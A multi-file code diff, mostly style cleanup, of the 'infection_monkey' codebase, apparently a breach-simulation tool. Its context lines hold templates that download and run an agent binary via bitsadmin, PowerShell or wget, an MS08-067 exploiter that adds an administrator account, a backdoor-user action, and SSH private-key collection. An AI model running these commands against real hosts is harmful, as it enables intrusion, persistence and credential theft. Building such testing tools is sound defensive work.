from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
__author__ = "VakarisZ" __author__ = "VakarisZ"

View File

@ -1,5 +1,3 @@
class ExploitingVulnerableMachineError(Exception): class ExploitingVulnerableMachineError(Exception):
""" Raise when exploiter failed, but machine is vulnerable""" """ Raise when exploiter failed, but machine is vulnerable"""

View File

@ -74,7 +74,7 @@ def get_target_monkey(host):
if host.os.get('type') == platform.system().lower(): if host.os.get('type') == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
host.os.get('machine', '').lower() == platform.machine().lower(): host.os.get('machine', '').lower() == platform.machine().lower():
monkey_path = sys.executable monkey_path = sys.executable
return monkey_path return monkey_path

View File

@ -1,14 +1,16 @@
import logging import logging
import os import os
import os.path import os.path
import urllib.request, urllib.parse, urllib.error import urllib.error
import urllib.parse
import urllib.request
from threading import Lock from threading import Lock
from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
from infection_monkey.model import DOWNLOAD_TIMEOUT
from infection_monkey.network.firewall import app as firewall from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.transport import HTTPServer, LockedHTTPServer from infection_monkey.transport import HTTPServer, LockedHTTPServer
from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
from infection_monkey.model import DOWNLOAD_TIMEOUT
__author__ = 'itamar' __author__ = 'itamar'

View File

@ -49,7 +49,7 @@ class LimitedSizePayload(Payload):
"exceeds required length of command.") "exceeds required length of command.")
elif self.command == "": elif self.command == "":
return [self.prefix+self.suffix] return [self.prefix + self.suffix]
wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length()) wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
commands = [self.get_payload(part) commands = [self.get_payload(part)
for part for part

View File

@ -29,4 +29,3 @@ class TestPayload(TestCase):
array2[1] == "prefix5678suffix" and len(array2) == 2) array2[1] == "prefix5678suffix" and len(array2) == 2)
assert test1 and test2 assert test1 and test2

View File

@ -12,6 +12,7 @@ from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.config import Configuration from infection_monkey.config import Configuration
__author__ = 'itamar' __author__ = 'itamar'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)

View File

@ -4,9 +4,10 @@ from posixpath import join
from abc import abstractmethod from abc import abstractmethod
from infection_monkey.exploit import HostExploiter from infection_monkey.exploit import HostExploiter
from infection_monkey.model import *
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.model import CHECK_COMMAND, ID_STRING, GET_ARCH_LINUX, GET_ARCH_WINDOWS, BITSADMIN_CMDLINE_HTTP, \
POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT, CHMOD_MONKEY, RUN_MONKEY, MONKEY_ARG, DROPPER_ARG
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
@ -256,7 +257,7 @@ class WebRCE(HostExploiter):
if 'No such file' in resp: if 'No such file' in resp:
return False return False
else: else:
LOG.info("Host %s was already infected under the current configuration, done" % str(host)) LOG.info("Host %s was already infected under the current configuration, done" % str(self.host))
return True return True
def check_remote_files(self, url): def check_remote_files(self, url):
@ -284,7 +285,7 @@ class WebRCE(HostExploiter):
""" """
ports = self.get_open_service_ports(ports, names) ports = self.get_open_service_ports(ports, names)
if not ports: if not ports:
LOG.info("All default web ports are closed on %r, skipping", str(host)) LOG.info("All default web ports are closed on %r, skipping", str(self.host))
return False return False
else: else:
return ports return ports
@ -461,7 +462,7 @@ class WebRCE(HostExploiter):
""" """
src_path = get_target_monkey(self.host) src_path = get_target_monkey(self.host)
if not src_path: if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False return False
# Determine which destination path to use # Determine which destination path to use
dest_path = self.get_monkey_upload_path(src_path) dest_path = self.get_monkey_upload_path(src_path)

View File

@ -1,4 +1,3 @@
import threading import threading
import logging import logging
import time import time
@ -13,7 +12,6 @@ from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.info import get_free_tcp_port
from http.server import BaseHTTPRequestHandler, HTTPServer from http.server import BaseHTTPRequestHandler, HTTPServer
__author__ = "VakarisZ" __author__ = "VakarisZ"
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -34,7 +32,6 @@ HEADERS = {
class WebLogicExploiter(HostExploiter): class WebLogicExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows'] _TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic' _EXPLOITED_SERVICE = 'Weblogic'

View File

@ -162,11 +162,11 @@ class Ms08_067_Exploiter(HostExploiter):
def is_os_supported(self): def is_os_supported(self):
if self.host.os.get('type') in self._TARGET_OS_TYPE and \ if self.host.os.get('type') in self._TARGET_OS_TYPE and \
self.host.os.get('version') in list(self._windows_versions.keys()): self.host.os.get('version') in list(self._windows_versions.keys()):
return True return True
if not self.host.os.get('type') or ( if not self.host.os.get('type') or (
self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')): self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
if is_smb_open: if is_smb_open:
smb_finger = SMBFinger() smb_finger = SMBFinger()
@ -193,9 +193,9 @@ class Ms08_067_Exploiter(HostExploiter):
sock.send("cmd /c (net user {} {} /add) &&" sock.send("cmd /c (net user {} {} /add) &&"
" (net localgroup administrators {} /add)\r\n".format( " (net localgroup administrators {} /add)\r\n".format(
self._config.user_to_add, self._config.user_to_add,
self._config.remote_user_pass, self._config.remote_user_pass,
self._config.user_to_add).encode()) self._config.user_to_add).encode())
time.sleep(2) time.sleep(2)
reply = sock.recv(1000) reply = sock.recv(1000)

View File

@ -39,7 +39,8 @@ class WmiExploiter(HostExploiter):
password_hashed = self._config.hash_sensitive_data(password) password_hashed = self._config.hash_sensitive_data(password)
lm_hash_hashed = self._config.hash_sensitive_data(lm_hash) lm_hash_hashed = self._config.hash_sensitive_data(lm_hash)
mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash) mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash)
creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): ({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed) creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " \
"({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed)
LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging) LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
wmi_connection = WmiTools.WmiConnection() wmi_connection = WmiTools.WmiConnection()
@ -121,4 +122,3 @@ class WmiExploiter(HostExploiter):
return success return success
return False return False

View File

@ -1,5 +1,3 @@
import argparse import argparse
import json import json
import logging import logging
@ -23,8 +21,11 @@ LOG = None
LOG_CONFIG = {'version': 1, LOG_CONFIG = {'version': 1,
'disable_existing_loggers': False, 'disable_existing_loggers': False,
'formatters': {'standard': { 'formatters': {
'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'}, 'standard': {
'format':
'%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'
},
}, },
'handlers': {'console': {'class': 'logging.StreamHandler', 'handlers': {'console': {'class': 'logging.StreamHandler',
'level': 'DEBUG', 'level': 'DEBUG',

View File

@ -5,17 +5,20 @@ __author__ = 'itamar'
MONKEY_ARG = "m0nk3y" MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r" DROPPER_ARG = "dr0pp3r"
ID_STRING = "M0NK3Y3XPL0ITABLE" ID_STRING = "M0NK3Y3XPL0ITABLE"
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,)
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' '/c %%(monkey_path)s %s"' % (MONKEY_ARG,)
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
'file_path)s exit)) > NUL 2>&1 '
# Commands used for downloading monkeys # Commands used for downloading monkeys
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \
"monkey_path)s\' -UseBasicParsing\" "
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
CHMOD_MONKEY = "chmod +x %(monkey_path)s" CHMOD_MONKEY = "chmod +x %(monkey_path)s"
@ -30,12 +33,12 @@ GET_ARCH_LINUX = "lscpu"
# All in one commands (upload, change permissions, run) # All in one commands (upload, change permissions, run)
HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \ HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \ "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
" if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \ " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
"{& %(monkey_path)s %(monkey_type)s %(parameters)s } \"" "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
"&& wget -O %(monkey_path)s %(http_path)s " \ "&& wget -O %(monkey_path)s %(http_path)s " \
"; chmod +x %(monkey_path)s " \ "; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s" "&& %(monkey_path)s %(monkey_type)s %(parameters)s"
DOWNLOAD_TIMEOUT = 180 DOWNLOAD_TIMEOUT = 180

View File

@ -182,7 +182,7 @@ class InfectionMonkey(object):
if self._default_server: if self._default_server:
if self._network.on_island(self._default_server): if self._network.on_island(self._default_server):
machine.set_default_server(get_interface_to_target(machine.ip_addr) + machine.set_default_server(get_interface_to_target(machine.ip_addr) +
(':'+self._default_server_port if self._default_server_port else '')) (':' + self._default_server_port if self._default_server_port else ''))
else: else:
machine.set_default_server(self._default_server) machine.set_default_server(self._default_server)
LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))

View File

@ -34,7 +34,6 @@ class VirtualFile(BytesIO):
return path in VirtualFile._vfs return path in VirtualFile._vfs
def getsize(path): def getsize(path):
if path.startswith(MONKEYFS_PREFIX): if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.getsize(path) return VirtualFile.getsize(path)
@ -53,6 +52,7 @@ def virtual_path(name):
return "%s%s" % (MONKEYFS_PREFIX, name) return "%s%s" % (MONKEYFS_PREFIX, name)
# noinspection PyShadowingBuiltins
def open(name, mode='r', buffering=-1): def open(name, mode='r', buffering=-1):
# use normal open for regular paths, and our "virtual" open for monkeyfs:// paths # use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
if name.startswith(MONKEYFS_PREFIX): if name.startswith(MONKEYFS_PREFIX):

View File

@ -8,6 +8,7 @@ def _run_netsh_cmd(command, args):
if value])), stdout=subprocess.PIPE) if value])), stdout=subprocess.PIPE)
return cmd.stdout.read().strip().lower().endswith('ok.') return cmd.stdout.read().strip().lower().endswith('ok.')
class FirewallApp(object): class FirewallApp(object):
def is_enabled(self, **kwargs): def is_enabled(self, **kwargs):
return False return False
@ -24,7 +25,7 @@ class FirewallApp(object):
def __enter__(self): def __enter__(self):
return self return self
def __exit__(self, type, value, traceback): def __exit__(self, exc_type, value, traceback):
self.close() self.close()
def close(self): def close(self):
@ -48,9 +49,9 @@ class WinAdvFirewall(FirewallApp):
except: except:
return None return None
def add_firewall_rule(self, name="Firewall", dir="in", action="allow", program=sys.executable, **kwargs): def add_firewall_rule(self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs):
netsh_args = {'name': name, netsh_args = {'name': name,
'dir': dir, 'dir': direction,
'action': action, 'action': action,
'program': program} 'program': program}
netsh_args.update(kwargs) netsh_args.update(kwargs)
@ -83,9 +84,9 @@ class WinAdvFirewall(FirewallApp):
for rule in list(self._rules.values()): for rule in list(self._rules.values()):
if rule.get('program') == sys.executable and \ if rule.get('program') == sys.executable and \
'in' == rule.get('dir') and \ 'in' == rule.get('dir') and \
'allow' == rule.get('action') and \ 'allow' == rule.get('action') and \
4 == len(list(rule.keys())): 4 == len(list(rule.keys())):
return True return True
return False return False

View File

@ -39,7 +39,7 @@ class HTTPFinger(HostFinger):
ssl = True if 'https://' in url else False ssl = True if 'https://' in url else False
self.init_service(host.services, ('tcp-' + port[1]), port[0]) self.init_service(host.services, ('tcp-' + port[1]), port[0])
host.services['tcp-' + port[1]]['name'] = 'http' host.services['tcp-' + port[1]]['name'] = 'http'
host.services['tcp-' + port[1]]['data'] = (server,ssl) host.services['tcp-' + port[1]]['data'] = (server, ssl)
LOG.info("Port %d is open on host %s " % (port[0], host)) LOG.info("Port %d is open on host %s " % (port[0], host))
break # https will be the same on the same port break # https will be the same on the same port
except Timeout: except Timeout:

View File

@ -13,9 +13,13 @@ from requests import ConnectionError
from common.network.network_range import CidrRange from common.network.network_range import CidrRange
from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.environment import is_windows_os
# Timeout for monkey connections # Timeout for monkey connections
TIMEOUT = 15 TIMEOUT = 15
LOOPBACK_NAME = b"lo"
SIOCGIFADDR = 0x8915 # get PA address
SIOCGIFNETMASK = 0x891b # get network PA mask
RTF_UP = 0x0001 # Route usable
RTF_REJECT = 0x0200
def get_host_subnets(): def get_host_subnets():
@ -43,31 +47,20 @@ def get_host_subnets():
if is_windows_os(): if is_windows_os():
def local_ips(): def local_ips():
local_hostname = socket.gethostname() local_hostname = socket.gethostname()
return socket.gethostbyname_ex(local_hostname)[2] return socket.gethostbyname_ex(local_hostname)[2]
def get_routes(): def get_routes():
raise NotImplementedError() raise NotImplementedError()
else: else:
from fcntl import ioctl from fcntl import ioctl
def local_ips(): def local_ips():
valid_ips = [network['addr'] for network in get_host_subnets()] valid_ips = [network['addr'] for network in get_host_subnets()]
return valid_ips return valid_ips
def get_routes(): # based on scapy implementation for route parsing def get_routes(): # based on scapy implementation for route parsing
LOOPBACK_NAME = b"lo"
SIOCGIFADDR = 0x8915 # get PA address
SIOCGIFNETMASK = 0x891b # get network PA mask
RTF_UP = 0x0001 # Route usable
RTF_REJECT = 0x0200
try: try:
f = open("/proc/net/route", "r") f = open("/proc/net/route", "r")
except IOError: except IOError:

View File

@ -12,7 +12,6 @@ LOG = logging.getLogger(__name__)
class MSSQLFinger(HostFinger): class MSSQLFinger(HostFinger):
# Class related consts # Class related consts
SQL_BROWSER_DEFAULT_PORT = 1434 SQL_BROWSER_DEFAULT_PORT = 1434
BUFFER_SIZE = 4096 BUFFER_SIZE = 4096

View File

@ -20,7 +20,6 @@ LOG = logging.getLogger(__name__)
class PingScanner(HostScanner, HostFinger): class PingScanner(HostScanner, HostFinger):
_SCANNED_SERVICE = '' _SCANNED_SERVICE = ''
def __init__(self): def __init__(self):
@ -49,14 +48,12 @@ class PingScanner(HostScanner, HostFinger):
if not "win32" == sys.platform: if not "win32" == sys.platform:
timeout /= 1000 timeout /= 1000
sub_proc = subprocess.Popen(["ping", sub_proc = subprocess.Popen(
PING_COUNT_FLAG, ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
"1", stdout=subprocess.PIPE,
PING_TIMEOUT_FLAG, stderr=subprocess.PIPE,
str(timeout), host.ip_addr], text=True
stdout=subprocess.PIPE, )
stderr=subprocess.PIPE,
text=True)
output = " ".join(sub_proc.communicate()) output = " ".join(sub_proc.communicate())
regex_result = self._ttl_regex.search(output) regex_result = self._ttl_regex.search(output)

View File

@ -30,7 +30,7 @@ class Packet:
return b"".join(content_list) return b"".join(content_list)
##### SMB Packets ##### # SMB Packets
class SMBHeader(Packet): class SMBHeader(Packet):
fields = odict([ fields = odict([
("proto", b"\xff\x53\x4d\x42"), ("proto", b"\xff\x53\x4d\x42"),
@ -92,7 +92,13 @@ class SMBSessionFingerData(Packet):
("capabilities", b"\xd4\x00\x00\xa0"), ("capabilities", b"\xd4\x00\x00\xa0"),
("bcc1", ""), ("bcc1", ""),
("Data", ("Data",
b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"), b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02"
b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00"
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f"
b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63"
b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00"
b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35"
b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
]) ])

View File

@ -11,7 +11,6 @@ BANNER_READ = 1024
class TcpScanner(HostScanner, HostFinger): class TcpScanner(HostScanner, HostFinger):
_SCANNED_SERVICE = 'unknown(TCP)' _SCANNED_SERVICE = 'unknown(TCP)'
def __init__(self): def __init__(self):
@ -25,7 +24,8 @@ class TcpScanner(HostScanner, HostFinger):
Scans a target host to see if it's alive using the tcp_target_ports specified in the configuration. Scans a target host to see if it's alive using the tcp_target_ports specified in the configuration.
:param host: VictimHost structure :param host: VictimHost structure
:param only_one_port: Currently unused. :param only_one_port: Currently unused.
:return: T/F if there is at least one open port. In addition, the host object is updated to mark those services as alive. :return: T/F if there is at least one open port.
In addition, the host object is updated to mark those services as alive.
""" """
# maybe hide under really bad detection systems # maybe hide under really bad detection systems

View File

@ -13,4 +13,3 @@ class BackdoorUser(PBA):
POST_BREACH_BACKDOOR_USER, POST_BREACH_BACKDOOR_USER,
linux_cmd=' '.join(linux_cmds), linux_cmd=' '.join(linux_cmds),
windows_cmd=windows_cmds) windows_cmd=windows_cmds)

View File

@ -27,6 +27,7 @@ class UsersPBA(PBA):
""" """
Defines user's configured post breach action. Defines user's configured post breach action.
""" """
def __init__(self): def __init__(self):
super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
self.filename = '' self.filename = ''

View File

@ -7,7 +7,6 @@ from infection_monkey.utils.environment import is_windows_os
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ' __author__ = 'VakarisZ'
@ -19,6 +18,7 @@ class PBA(object):
""" """
Post breach action object. Can be extended to support more than command execution on target machine. Post breach action object. Can be extended to support more than command execution on target machine.
""" """
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""): def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
""" """
:param name: Name of post breach action. :param name: Name of post breach action.

View File

@ -16,6 +16,7 @@ class PostBreach(object):
""" """
This class handles post breach actions execution This class handles post breach actions execution
""" """
def __init__(self): def __init__(self):
self.os_is_linux = not is_windows_os() self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list() self.pba_list = self.config_to_pba_list()

View File

@ -1,7 +1,6 @@
import os import os
import sys import sys
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'

View File

@ -63,7 +63,7 @@ class SSHCollector(object):
LOG.info("Found public key in %s" % public) LOG.info("Found public key in %s" % public)
try: try:
with open(public) as f: with open(public) as f:
info['public_key'] = f.read() info['public_key'] = f.read()
# By default private key has the same name as public, only without .pub # By default private key has the same name as public, only without .pub
private = os.path.splitext(public)[0] private = os.path.splitext(public)[0]
if os.path.exists(private): if os.path.exists(private):

View File

@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__)
try: try:
WindowsError WindowsError
except NameError: except NameError:
# noinspection PyShadowingBuiltins
WindowsError = psutil.AccessDenied WindowsError = psutil.AccessDenied
__author__ = 'uri' __author__ = 'uri'

View File

@ -26,4 +26,3 @@ class LinuxInfoCollector(InfoCollector):
super(LinuxInfoCollector, self).get_info() super(LinuxInfoCollector, self).get_info()
self.info['ssh_info'] = SSHCollector.get_info() self.info['ssh_info'] = SSHCollector.get_info()
return self.info return self.info

View File

@ -1,6 +1,7 @@
import os import os
import logging import logging
import sys import sys
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
import infection_monkey.config import infection_monkey.config
@ -35,7 +36,7 @@ class WindowsInfoCollector(InfoCollector):
""" """
LOG.debug("Running Windows collector") LOG.debug("Running Windows collector")
super(WindowsInfoCollector, self).get_info() super(WindowsInfoCollector, self).get_info()
#self.get_wmi_info() # TODO: Think about returning self.get_wmi_info()
self.get_installed_packages() self.get_installed_packages()
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration
if WormConfiguration.should_use_mimikatz: if WormConfiguration.should_use_mimikatz:

View File

@ -29,4 +29,3 @@ WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
"DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl", "DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
"DS_whenChanged", "DS_whenCreated"), "DS_whenChanged", "DS_whenCreated"),
} }

View File

@ -5,7 +5,6 @@ from abc import ABCMeta, abstractmethod
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration
__author__ = 'itamar' __author__ = 'itamar'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)

View File

@ -1,4 +1,3 @@
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
__author__ = 'hoffer' __author__ = 'hoffer'

View File

@ -64,7 +64,6 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)): if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)):
self.send_error(500, "") self.send_error(500, "")
return None, 0, 0 return None, 0, 0
f = None
try: try:
f = monkeyfs.open(self.filename, 'rb') f = monkeyfs.open(self.filename, 'rb')
except IOError: except IOError:
@ -100,10 +99,10 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
self.end_headers() self.end_headers()
return f, start_range, end_range return f, start_range, end_range
def log_message(self, format, *args): def log_message(self, format_string, *args):
LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(), LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(),
self.log_date_time_string(), self.log_date_time_string(),
format % args)) format_string % args))
class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
@ -117,7 +116,6 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
def do_CONNECT(self): def do_CONNECT(self):
# just provide a tunnel, transfer the data with no modification # just provide a tunnel, transfer the data with no modification
req = self req = self
reqbody = None
req.path = "https://%s/" % req.path.replace(':443', '') req.path = "https://%s/" % req.path.replace(':443', '')
u = urlsplit(req.path) u = urlsplit(req.path)
@ -148,9 +146,9 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
update_last_serve_time() update_last_serve_time()
conn.close() conn.close()
def log_message(self, format, *args): def log_message(self, format_string, *args):
LOG.debug("HTTPConnectProxyHandler: %s - [%s] %s" % LOG.debug("HTTPConnectProxyHandler: %s - [%s] %s" %
(self.address_string(), self.log_date_time_string(), format % args)) (self.address_string(), self.log_date_time_string(), format_string % args))
class HTTPServer(threading.Thread): class HTTPServer(threading.Thread):

View File

@ -6,5 +6,3 @@ def get_commands_to_add_user(username, password):
linux_cmds = get_linux_commands_to_add_user(username) linux_cmds = get_linux_commands_to_add_user(username)
windows_cmds = get_windows_commands_to_add_user(username, password) windows_cmds = get_windows_commands_to_add_user(username, password)
return linux_cmds, windows_cmds return linux_cmds, windows_cmds

View File

@ -1,11 +1,8 @@
import os import os
import uuid import uuid
from datetime import datetime
import bson
import flask_restful import flask_restful
from bson.json_util import dumps from flask import Flask, send_from_directory, Response
